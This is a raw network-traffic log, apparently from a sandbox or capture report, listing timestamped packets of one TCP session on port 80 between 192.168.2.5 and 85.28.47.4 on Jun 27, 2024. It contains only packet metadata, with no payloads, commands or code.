Jun 27, 2024 19:25:59.867891073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867892981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867908001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867921114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867921114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867927074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867944002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867948055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867948055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867959976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867969036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.867976904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.867990017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.868014097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.868015051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.868772984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.868789911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.868803978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.868818045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.868834019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.868839979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.868839979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.868850946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.868863106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.868868113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.868882895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.868885994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.868901014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.868911028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.868911028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.868917942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.868931055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.868936062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.868952990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.868954897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.868954897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.868971109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.868978977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.868988991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.868999004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.869024038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.869024038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.869683027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.869699955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.869714975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.869735956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.869740963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.869751930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.869769096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.869771004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.869785070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.869787931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.869801998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.869815111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.869821072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.869837046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.869837999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.869853973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.869857073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.869869947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.869880915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.869885921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.869900942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.869920015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.869939089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.870588064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.870603085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.870618105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.870632887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.870650053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.870651007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.870651007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.870666027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.870676994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.870682955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.870699883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.870714903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.870716095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.870716095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.870733976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.870742083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.870742083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.870749950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.870767117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.870767117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.870774031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.870800018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.870820045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.871485949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.871503115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.871516943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.871531963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.871542931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.871547937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.871565104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.871578932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.871578932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.871581078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.871598005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.871608973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.871612072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.871629000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.871629000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.871648073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.871654034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.871654034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.871665001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.871674061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.871680021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.871697903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.871699095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.871699095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.871717930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.871736050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.872400045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.872416973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.872431040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.872446060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.872459888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.872462988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.872477055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.872503996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.872509003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.872509003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.872522116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.872530937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.872538090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.872551918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.872555017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.872570992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.872586966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.872594118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.872594118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.872595072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.872603893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.872621059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.872644901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.872644901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.873322010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.873337984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.873352051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.873367071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.873379946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.873380899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.873379946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.873399973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.873409986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.873409986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.873416901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.873430014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.873434067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.873450994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.873452902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.873452902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.873466969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.873480082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.873482943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.873501062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.873505116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.873505116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.873517036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.873524904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.873544931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.873564005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.873886108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.873902082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.873950005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.873950005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.955007076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955080032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.955149889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955166101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955208063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.955240011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955255032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955271959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955287933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955295086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.955303907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955315113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.955336094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.955355883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.955470085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955483913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955530882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.955530882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.955548048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955563068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955602884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955606937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.955615997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955635071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955650091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955658913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.955666065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955679893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.955699921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.955718994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.955848932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.955902100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.956049919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956065893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956105947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.956202030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956216097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956231117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956244946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956254959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.956263065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956278086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.956295013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.956325054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.956337929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956387043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.956393003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956418037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956433058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956444025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.956465960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.956465960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.956665039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956681013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956696033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956711054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956716061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.956749916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.956749916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.956949949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956975937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.956990957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957005978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957010031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957022905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957029104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957040071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957051039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957057953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957072020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957075119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957092047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957093954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957113028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957113028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957137108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957637072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957653999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957668066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957684040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957698107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957699060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957698107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957715988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957732916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957732916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957732916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957750082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957751989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957766056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957777023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957777023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957783937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957803965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.957803965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957803965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957824945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.957863092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.958209991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.958225965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.958240986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.958255053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.958270073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.958270073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.958297968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.958297968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.958309889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.958326101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.958340883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.958354950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.958355904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.958374023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.958390951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.958400011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.958400011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.958400965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.958400965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.958408117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.958425045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.958430052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.958441019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.958447933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.958467007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.958486080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.959225893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.959239960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.959255934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.959271908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.959275007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.959289074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.959297895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.959297895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.959304094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.959321022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.959323883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.959323883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.959336042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.959352016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.959355116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.959355116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.959367037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.959374905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.959383011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.959393024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.959398985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.959417105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.959419966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.959419966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.959436893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.959440947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.959454060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.959460974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.959470987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.959486961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.959487915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.959518909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.960189104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.960203886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.960217953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.960232973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.960242987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.960249901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.960266113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.960266113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.960280895 CEST	80	49705	85.28.47.4	192.168.2.5
